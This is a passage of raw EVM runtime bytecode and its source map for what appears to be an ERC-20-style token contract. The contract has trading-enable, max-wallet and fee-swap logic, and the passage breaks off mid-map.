3603660046116c2565b6001600160a01b031660009081526004602052604090205490565b34801561038757600080fd5b5061030c61061c565b34801561039c57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610196565b3480156103ce57600080fd5b5061030c61068b565b3480156103e357600080fd5b50600d546103aa906001600160a01b031681565b34801561040357600080fd5b50604080518082019091526005815264212527a92760d91b60208201526101d2565b34801561043157600080fd5b50600f546103aa906001600160a01b031681565b34801561045157600080fd5b50610200610460366004611655565b6106ca565b34801561047157600080fd5b5061030c6106d7565b34801561048657600080fd5b5061018c6104953660046116df565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b61030c610713565b3480156104d457600080fd5b50600c546103aa906001600160a01b031681565b3480156104f457600080fd5b50600e546103aa906001600160a01b031681565b600061051533848461099c565b5060015b92915050565b6001600160a01b0383166000908152600560209081526040808320338452909152812054600019146105cc576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526005825283812033825290915291909120546105a7918490610ac0565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6105d7848484610afa565b90505b9392505050565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161060b90611718565b60405180910390fd5b600254600355565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161060b90611718565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106b55760405162461bcd60e51b815260040161060b90611718565b6011805460ff60a81b1916600160a81b179055565b60006105da338484610afa565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610710573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161060b90611718565b600154600e80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd9190611738565b6001600160a01b031663c9c65396600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108429190611738565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801561088e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b29190611738565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152600760209081526040808320805460ff191660011790553080845260058352818420600e80548716865290845282852060001990555481855260049384905282852054925163f305d71960e01b815295169463f305d719943494610941949282913391429101611755565b60606040518083038185885af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109849190611790565b5050600f805460ff60a01b1916600160a01b17905550565b6001600160a01b0383166109fe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060b565b6001600160a01b038216610a5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008184841115610ae45760405162461bcd60e51b815260040161060b91906115f2565b506000610af184866117d4565b95945050505050565b60115460009060ff1615610b1a57610b13848484610dc7565b90506105da565b6001600160a01b03841660009081526006602052604090205460ff16158015610b5c57506001600160a01b03831660009081526006602052604090205460ff16155b15610bb557601154600160a81b900460ff16610bb05760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161060b565b610bc0565b610b13848484610dc7565b600f546001600160a01b03848116911614801590610be957506001600160a01b03831661dead14155b15610c94576001600160a01b03831660009081526007602052604090205460ff1680610c3a57506003546001600160a01b038416600090815260046020526040902054610c379084906117e7565b11155b610c945760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161060b565b610c9c610ec0565b15610ca957610ca9610f18565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260049091529190912054610cfb918490610ac0565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1615610d305782610d3a565b610d3a85846112c4565b6001600160a01b038516600090815260046020526040902054909150610d60908261136f565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db49085815260200190565b60405180910390a3506001949350505050565b600080610dd3856113ce565b610dde576000610de0565b825b9050610e3d610def82856117d4565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a166000908152600490915291909120549190610ac0565b6001600160a01b038087166000908152600460205260408082209390935590861681522054610e6c908461136f565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db49087815260200190565b600f546000906001600160a01b03163314801590610ee1575060115460ff16155b8015610ef65750600f54600160a01b900460ff165b8015610f1357506010543060009081526004602052604090205410155b905090565b6011805460ff19166001179055601054600a54600854600091610f4b91600291610f45918290879061141e565b906114a0565b90506000610f5983836114e2565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610f9357610f936117fa565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110109190611738565b81600181518110611023576110236117fa565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b81524792919091169063791ac9479061106d908690600090879030904290600401611810565b600060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b5050505060006110b482476114e290919063ffffffff16565b905060006110da6110d160026008546114a090919063ffffffff16565b600a54906114e2565b905060006110fc6002610f4584610f456008548861141e90919063ffffffff16565b9050600061111983610f456009548761141e90919063ffffffff16565b600c546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114611170576040519150601f19603f3d011682016040523d82523d6000602084013e611175565b606091505b50509050806111c65760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e736665720000604482015260640161060b565b88156112ae57600e60009054906101000a90046001600160a01b03166001600160a01b031663f305d71984308c600080600c60009054906101000a90046001600160a01b0316426040518863ffffffff1660e01b815260040161122e96959493929190611755565b60606040518083038185885af115801561124c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112719190611790565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506011805460ff191690555050505050505050565b6000806112e7600b54610f456112d987611524565b600a54610f4590889061141e565b30600090815260046020526040902054909150611304908261136f565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113559085815260200190565b60405180910390a361136783826114e2565b949350505050565b60008061137c83856117e7565b9050838110156105da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060b565b6001600160a01b03811660009081526006602052604081205460ff16801561140457506000546001600160a01b03838116911614155b801561051957506001600160a01b03821630141592915050565b60008260000361143057506000610519565b600061143c8385611881565b9050826114498583611898565b146105da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060b565b60006105da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c4565b60006105da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ac0565b600f5460009081906001600160a01b039081169084160361156f576000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461159d565b61dead60005260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd545b9050600081116115bb576064600b546115b69190611898565b6105da565b60009392505050565b600081836115e55760405162461bcd60e51b815260040161060b91906115f2565b506000610af18486611898565b600060208083528351808285015260005b8181101561161f57858101830151858201604001528201611603565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461071057600080fd5b6000806040838503121561166857600080fd5b823561167381611640565b946020939093013593505050565b60008060006060848603121561169657600080fd5b83356116a181611640565b925060208401356116b181611640565b929592945050506040919091013590565b6000602082840312156116d457600080fd5b81356105da81611640565b600080604083850312156116f257600080fd5b82356116fd81611640565b9150602083013561170d81611640565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561174a57600080fd5b81516105da81611640565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156117a557600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b81810381811115610519576105196117be565b80820180821115610519576105196117be565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118605784516001600160a01b03168352938301939183019160010161183b565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610519576105196117be565b6000826118b557634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220597bc10765e0bd39b89ba9e600000f8f5a9dd3335be93165b67cf29b87b0613464736f6c63430008130033
Deployed Bytecode Sourcemap
5143:9154:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6280:56;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6280:56:0;;;;;;;;7929:80;;;;;;;;;;-1:-1:-1;8001:5:0;;;;;;;;;;;;-1:-1:-1;;;8001:5:0;;;;7929:80;;;;;;;:::i;6461:31::-;;;;;;;;;;-1:-1:-1;6461:31:0;;;;-1:-1:-1;;;6461:31:0;;;;;;;;;914:14:1;;907:22;889:41;;877:2;862:18;6461:31:0;749:187:1;8351:159:0;;;;;;;;;;-1:-1:-1;8351:159:0;;;;;:::i;:::-;;:::i;7659:88::-;;;;;;;;;;-1:-1:-1;7732:12:0;;7659:88;;9192:370;;;;;;;;;;-1:-1:-1;9192:370:0;;;;;:::i;:::-;;:::i;3381:103::-;;;;;;;;;;-1:-1:-1;3381:103:0;;;;;:::i;:::-;3436:4;3471:5;-1:-1:-1;;;;;3460:16:0;;;3471:5;;3460:16;;3381:103;7753:80;;;;;;;;;;-1:-1:-1;7753:80:0;;5563:1;2252:36:1;;2240:2;2225:18;7753:80:0;2110:184:1;8861:159:0;;;;;;;;;;-1:-1:-1;8861:159:0;;;;;:::i;:::-;-1:-1:-1;;;;;8935:20:0;8916:4;8935:20;;;:11;:20;;;;;;;;8964:4;8935:35;;;;;;;-1:-1:-1;;8935:55:0;;9008:4;;8861:159;14134:92;;;;;;;;;;;;;:::i;:::-;;5634:58;;;;;;;;;;;;;;;;6242:31;;;;;;;;;;-1:-1:-1;6242:31:0;;;;-1:-1:-1;;;6242:31:0;;;;;;8099:105;;;;;;;;;;-1:-1:-1;8099:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;8183:18:0;8165:7;8183:18;;;:9;:18;;;;;;;8099:105;3490:131;;;;;;;;;;;;;:::i;8015:78::-;;;;;;;;;;-1:-1:-1;8067:7:0;8085:5;-1:-1:-1;;;;;8085:5:0;8015:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;8015:78:0;2299:203:1;7048:79:0;;;;;;;;;;;;;:::i;6150:24::-;;;;;;;;;;-1:-1:-1;6150:24:0;;;;-1:-1:-1;;;;;6150:24:0;;;7839:84;;;;;;;;;;-1:-1:-1;7913:7:0;;;;;;;;;;;;-1:-1:-1;;;7913:7:0;;;;7839:84;;6214:19;;;;;;;;;;-1:-1:-1;6214:19:0;;;;-1:-1:-1;;;;;6214:19:0;;;9028:156;;;;;;;;;;-1:-1:-1;9028:156:0;;;;;:::i;:::-;;:::i;14005:121::-;;;;;;;;;;;;;:::i;8210:133::-;;;;;;;;;;-1:-1:-1;8210:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;8312:19:0;;;8294:7;8312:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8210:133;7135:478;;;:::i;6063:80::-;;;;;;;;;;-1:-1:-1;6063:80:0;;;;-1:-1:-1;;;;;6063:80:0;;;6183:24;;;;;;;;;;-1:-1:-1;6183:24:0;;;;-1:-1:-1;;;;;6183:24:0;;;8351:159;8426:4;8443:37;8452:10;8464:7;8473:6;8443:8;:37::i;:::-;-1:-1:-1;8498:4:0;8351:159;;;;;:::o;9192:370::-;-1:-1:-1;;;;;9312:19:0;;9292:4;9312:19;;;:11;:19;;;;;;;;9332:10;9312:31;;;;;;;;-1:-1:-1;;9312:52:0;9309:186;;9414:69;;;;;;;;;;;-1:-1:-1;;;9414:69:0;;;;;;;;-1:-1:-1;;;;;9414:19:0;;-1:-1:-1;9414:19:0;;;:11;:19;;;;;9434:10;9414:31;;;;;;;;;;:69;;9450:6;;9414:35;:69::i;:::-;-1:-1:-1;;;;;9380:19:0;;;;;;:11;:19;;;;;;;;9400:10;9380:31;;;;;;;:103;9309:186;9514:40;9528:6;9536:9;9547:6;9514:13;:40::i;:::-;9507:47;;9192:370;;;;;;:::o;14134:92::-;3436:4;3471:5;-1:-1:-1;;;;;3471:5:0;3342:10;3460:16;3326:38;;;;-1:-1:-1;;;3326:38:0;;;;;;;:::i;:::-;;;;;;;;;14206:12:::1;::::0;14187:16:::1;:31:::0;14134:92::o;3490:131::-;3436:4;3471:5;-1:-1:-1;;;;;3471:5:0;3342:10;3460:16;3326:38;;;;-1:-1:-1;;;3326:38:0;;;;;;;:::i;:::-;3563:1:::1;3547:18:::0;;-1:-1:-1;;;;;;3547:18:0::1;::::0;;3581:32:::1;::::0;2445:51:1;;;3581:32:0::1;::::0;2433:2:1;2418:18;3581:32:0::1;;;;;;;3490:131::o:0;7048:79::-;3436:4;3471:5;-1:-1:-1;;;;;3471:5:0;3342:10;3460:16;3326:38;;;;-1:-1:-1;;;3326:38:0;;;;;;;:::i;:::-;7101:11:::1;:18:::0;;-1:-1:-1;;;;7101:18:0::1;-1:-1:-1::0;;;7101:18:0::1;::::0;;7048:79::o;9028:156::-;9108:4;9132:44;9146:10;9158:9;9169:6;9132:13;:44::i;14005:121::-;14065:20;;14057:61;;-1:-1:-1;;;;;14065:20:0;;;;14096:21;14057:61;;;;;14065:20;14057:61;14065:20;14057:61;14096:21;14065:20;14057:61;;;;;;;;;;;;;;;;;;;;;14005:121::o;7135:478::-;3436:4;3471:5;-1:-1:-1;;;;;3471:5:0;3342:10;3460:16;3326:38;;;;-1:-1:-1;;;3326:38:0;;;;;;;:::i;:::-;7220:12:::1;::::0;7200:6:::1;:33:::0;;-1:-1:-1;;;;;;7200:33:0::1;-1:-1:-1::0;;;;;7220:12:0;;::::1;7200:33:::0;;::::1;::::0;;7263:16:::1;::::0;;-1:-1:-1;;;7263:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;7220:12;7263:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7251:40:0::1;;7292:6;;;;;;;;;-1:-1:-1::0;;;;;7292:6:0::1;-1:-1:-1::0;;;;;7292:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7251:70;::::0;-1:-1:-1;;;;;;7251:70:0::1;::::0;;;;;;-1:-1:-1;;;;;3946:15:1;;;7251:70:0::1;::::0;::::1;3928:34:1::0;7315:4:0::1;3978:18:1::0;;;3971:43;3863:18;;7251:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7244:4;:77:::0;;-1:-1:-1;;;;;;7244:77:0::1;-1:-1:-1::0;;;;;7244:77:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;7340:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;7340:28:0::1;-1:-1:-1::0;7340:28:0::1;::::0;;7409:4:::1;7389:26:::0;;;:11:::1;:26:::0;;;;;7424:6:::1;::::0;;;::::1;7389:43:::0;;;;;;;;-1:-1:-1;;7389:63:0;;7465:6;8183:18;;;:9;:18;;;;;;;;7465:111;;-1:-1:-1;;;7465:111:0;;:6;::::1;::::0;:22:::1;::::0;7495:9:::1;::::0;7465:111:::1;::::0;8183:18;-1:-1:-1;;7549:10:0::1;::::0;7560:15:::1;::::0;7465:111:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7587:11:0::1;:18:::0;;-1:-1:-1;;;;7587:18:0::1;-1:-1:-1::0;;;7587:18:0::1;::::0;;-1:-1:-1;7135:478:0:o;8518:335::-;-1:-1:-1;;;;;8611:19:0;;8603:68;;;;-1:-1:-1;;;8603:68:0;;5150:2:1;8603:68:0;;;5132:21:1;5189:2;5169:18;;;5162:30;5228:34;5208:18;;;5201:62;-1:-1:-1;;;5279:18:1;;;5272:34;5323:19;;8603:68:0;4948:400:1;8603:68:0;-1:-1:-1;;;;;8690:21:0;;8682:68;;;;-1:-1:-1;;;8682:68:0;;5555:2:1;8682:68:0;;;5537:21:1;5594:2;5574:18;;;5567:30;5633:34;5613:18;;;5606:62;-1:-1:-1;;;5684:18:1;;;5677:32;5726:19;;8682:68:0;5353:398:1;8682:68:0;-1:-1:-1;;;;;8761:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8813:32;;160:25:1;;;8813:32:0;;133:18:1;8813:32:0;;;;;;;8518:335;;;:::o;1470:190::-;1556:7;1592:12;1584:6;;;;1576:29;;;;-1:-1:-1;;;1576:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1616:9:0;1628:5;1632:1;1628;:5;:::i;:::-;1616:17;1470:190;-1:-1:-1;;;;;1470:190:0:o;9570:1008::-;9682:6;;9662:4;;9682:6;;9679:63;;;9698:41;9713:6;9721:9;9732:6;9698:14;:41::i;:::-;9691:48;;;;9679:63;-1:-1:-1;;;;;9759:19:0;;;;;;:11;:19;;;;;;;;9758:20;:47;;;;-1:-1:-1;;;;;;9783:22:0;;;;;;:11;:22;;;;;;;;9782:23;9758:47;9754:204;;;9830:11;;-1:-1:-1;;;9830:11:0;;;;9822:43;;;;-1:-1:-1;;;9822:43:0;;6223:2:1;9822:43:0;;;6205:21:1;6262:2;6242:18;;;6235:30;-1:-1:-1;;;6281:18:1;;;6274:49;6340:18;;9822:43:0;6021:343:1;9822:43:0;9754:204;;;9905:41;9920:6;9928:9;9939:6;9905:14;:41::i;9754:204::-;9995:4;;-1:-1:-1;;;;;9982:17:0;;;9995:4;;9982:17;;;;:38;;-1:-1:-1;;;;;;10003:17:0;;5318:42;10003:17;;9982:38;9978:200;;;-1:-1:-1;;;;;10045:26:0;;;;;;:15;:26;;;;;;;;;:79;;-1:-1:-1;10108:16:0;;-1:-1:-1;;;;;10075:20:0;;;;;;:9;:20;;;;;;:29;;10098:6;;10075:29;:::i;:::-;:49;;10045:79;10037:129;;;;-1:-1:-1;;;10037:129:0;;6701:2:1;10037:129:0;;;6683:21:1;6740:2;6720:18;;;6713:30;6779:34;6759:18;;;6752:62;-1:-1:-1;;;6830:18:1;;;6823:35;6875:19;;10037:129:0;6499:401:1;10037:129:0;10201:16;:14;:16::i;:::-;10198:35;;;10220:10;:8;:10::i;:::-;10266:53;;;;;;;;;;;-1:-1:-1;;;10266:53:0;;;;;;;;-1:-1:-1;;;;;10266:17:0;;-1:-1:-1;10266:17:0;;;:9;:17;;;;;;;;:53;;10288:6;;10266:21;:53::i;:::-;-1:-1:-1;;;;;10246:17:0;;;;;;:9;:17;;;;;;;;:73;;;;11254:11;:19;;;;;;;;11253:20;10357:56;;10407:6;10357:56;;;10381:23;10389:6;10397;10381:7;:23::i;:::-;-1:-1:-1;;;;;10447:20:0;;;;;;:9;:20;;;;;;10332:81;;-1:-1:-1;10447:40:0;;10332:81;10447:24;:40::i;:::-;-1:-1:-1;;;;;10424:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10505:43;;;;;;;;;;10533:14;160:25:1;;148:2;133:18;;14:177;10505:43:0;;;;;;;;-1:-1:-1;10566:4:0;;9570:1008;-1:-1:-1;;;;9570:1008:0:o;10760:399::-;10853:4;10870:12;10885:24;10902:6;10885:16;:24::i;:::-;:36;;10920:1;10885:36;;;10911:6;10885:36;10870:51;-1:-1:-1;10952:60:0;10974:13;10870:51;10974:6;:13;:::i;:::-;10952:60;;;;;;;;;;;-1:-1:-1;;;10952:60:0;;;;;;;;-1:-1:-1;;;;;10952:17:0;;-1:-1:-1;10952:17:0;;;:9;:17;;;;;;;;;:60;:21;:60::i;:::-;-1:-1:-1;;;;;10932:17:0;;;;;;;:9;:17;;;;;;:80;;;;11046:20;;;;;;;:32;;11071:6;11046:24;:32::i;:::-;-1:-1:-1;;;;;11023:20:0;;;;;;;:9;:20;;;;;;;:55;;;;11094:35;;;;;;;;;;11122:6;160:25:1;;148:2;133:18;;14:177;11858:197:0;11945:4;;11907;;-1:-1:-1;;;;;11945:4:0;11931:10;:18;;;;:38;;-1:-1:-1;11963:6:0;;;;11962:7;11931:38;:62;;;;-1:-1:-1;11982:11:0;;-1:-1:-1;;;11982:11:0;;;;11931:62;:116;;;;-1:-1:-1;12034:13:0;;12024:4;12006:24;;;;:9;:24;;;;;;:41;;11931:116;11924:123;;11858:197;:::o;12063:1550::-;6394:6;:13;;-1:-1:-1;;6394:13:0;6403:4;6394:13;;;12143::::1;::::0;12236:8:::1;::::0;12218:12:::1;::::0;6394:6;;12193:59:::1;::::0;12250:1:::1;::::0;12193:52:::1;::::0;;;12143:13;;12193:24:::1;:38::i;:::-;:42:::0;::::1;:52::i;:59::-;12167:85:::0;-1:-1:-1;12263:20:0::1;12286:41;:20:::0;12167:85;12286:24:::1;:41::i;:::-;12364:16;::::0;;12378:1:::1;12364:16:::0;;;;;::::1;::::0;;12263:64;;-1:-1:-1;12340:21:0::1;::::0;12364:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12364:16:0::1;12340:40;;12409:4;12391;12396:1;12391:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12391:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12435:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;12435:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;12391:7;;12435:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12425:4;12430:1;12425:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12425:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;12519:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;12519:188:0;;12485:21:::1;::::0;12519:6;;;::::1;::::0;:57:::1;::::0;:188:::1;::::0;12591:12;;12461:21:::1;::::0;12634:4;;12661::::1;::::0;12681:15:::1;::::0;12519:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12718:17;12738:40;12764:13;12738:21;:25;;:40;;;;:::i;:::-;12718:60;;12789:19;12811:33;12824:19;12841:1;12824:12;;:16;;:19;;;;:::i;:::-;12811:8;::::0;;:12:::1;:33::i;:::-;12789:55;;12855:26;12884:51;12933:1;12884:44;12916:11;12884:27;12898:12;;12884:9;:13;;:27;;;;:::i;:51::-;12855:80;;12946:26;12975:44;13007:11;12975:27;12989:12;;12975:9;:13;;:27;;;;:::i;:44::-;13093:20;::::0;13085:77:::1;::::0;12946:73;;-1:-1:-1;13035:21:0::1;::::0;-1:-1:-1;;;;;13093:20:0;;::::1;::::0;13152:5:::1;::::0;12946:73;;13035:21;13085:77;13035:21;13085:77;12946:73;13093:20;13152:5;13085:77:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13034:128;;;13181:16;13173:59;;;::::0;-1:-1:-1;;;13173:59:0;;8566:2:1;13173:59:0::1;::::0;::::1;8548:21:1::0;8605:2;8585:18;;;8578:30;8644:32;8624:18;;;8617:60;8694:18;;13173:59:0::1;8364:354:1::0;13173:59:0::1;13248:19:::0;;13245:361:::1;;13283:6;;;;;;;;;-1:-1:-1::0;;;;;13283:6:0::1;-1:-1:-1::0;;;;;13283:22:0::1;;13313:18;13359:4;13383:15;13417:1;13437::::0;13457:20:::1;;;;;;;;;-1:-1:-1::0;;;;;13457:20:0::1;13496:15;13283:243;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13546:48:0::1;::::0;;8897:25:1;;;8953:2;8938:18;;8931:34;;;13546:48:0::1;::::0;-1:-1:-1;8870:18:1;13546:48:0::1;;;;;;;13245:361;-1:-1:-1::0;;6412:6:0;:14;;-1:-1:-1;;6412:14:0;;;-1:-1:-1;;;;;;;;12063:1550:0:o;11502:348::-;11569:7;11589:17;11609:59;11653:14;;11609:39;11634:13;11640:6;11634:5;:13::i;:::-;11620:8;;11609:20;;:6;;:10;:20::i;:59::-;11724:4;11706:24;;;;:9;:24;;;;;;11589:79;;-1:-1:-1;11706:39:0;;11589:79;11706:28;:39::i;:::-;11697:4;11679:24;;;;:9;:24;;;;;;;:66;;;;11761:42;;-1:-1:-1;;;;;11761:42:0;;;;;;;11793:9;160:25:1;;148:2;133:18;;14:177;11761:42:0;;;;;;;;11821:21;:6;11832:9;11821:10;:21::i;:::-;11814:28;11502:348;-1:-1:-1;;;;11502:348:0:o;1143:179::-;1201:7;;1233:5;1237:1;1233;:5;:::i;:::-;1221:17;;1262:1;1257;:6;;1249:46;;;;-1:-1:-1;;;1249:46:0;;9178:2:1;1249:46:0;;;9160:21:1;9217:2;9197:18;;;9190:30;9256:29;9236:18;;;9229:57;9303:18;;1249:46:0;8976:351:1;10586:162:0;-1:-1:-1;;;;;10675:19:0;;10651:4;10675:19;;;:11;:19;;;;;;;;:38;;;;-1:-1:-1;10708:5:0;;-1:-1:-1;;;;;10698:15:0;;;10708:5;;10698:15;;10675:38;:65;;;;-1:-1:-1;;;;;;10717:23:0;;10735:4;10717:23;;10668:72;10586:162;-1:-1:-1;;10586:162:0:o;1666:246::-;1724:7;1748:1;1753;1748:6;1744:47;;-1:-1:-1;1778:1:0;1771:8;;1744:47;1801:9;1813:5;1817:1;1813;:5;:::i;:::-;1801:17;-1:-1:-1;1846:1:0;1837:5;1841:1;1801:17;1837:5;:::i;:::-;:10;1829:56;;;;-1:-1:-1;;;1829:56:0;;9929:2:1;1829:56:0;;;9911:21:1;9968:2;9948:18;;;9941:30;10007:34;9987:18;;;9980:62;-1:-1:-1;;;10058:18:1;;;10051:31;10099:19;;1829:56:0;9727:397:1;1918:132:0;1976:7;2003:39;2007:1;2010;2003:39;;;;;;;;;;;;;;;;;:3;:39::i;1328:136::-;1386:7;1413:43;1417:1;1420;1413:43;;;;;;;;;;;;;;;;;:3;:43::i;11289:205::-;11391:4;;11344:7;;;;-1:-1:-1;;;;;11391:4:0;;;11381:14;;;;:50;;5391:42;8183:18;;:9;:18;;;;11381:50;;;5318:42;8165:7;8183:18;:9;:18;;;;11398:15;11364:67;;11458:1;11449:6;:10;:37;;11483:3;11466:14;;:20;;;;:::i;:::-;11449:37;;;11462:1;11442:44;11289:205;-1:-1:-1;;;11289:205:0:o;2056:189::-;2142:7;2177:12;2170:5;2162:28;;;;-1:-1:-1;;;2162:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2201:9:0;2213:5;2217:1;2213;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;941:131::-;-1:-1:-1;;;;;1016:31:1;;1006:42;;996:70;;1062:1;1059;1052:12;1077:315;1145:6;1153;1206:2;1194:9;1185:7;1181:23;1177:32;1174:52;;;1222:1;1219;1212:12;1174:52;1261:9;1248:23;1280:31;1305:5;1280:31;:::i;:::-;1330:5;1382:2;1367:18;;;;1354:32;;-1:-1:-1;;;1077:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;19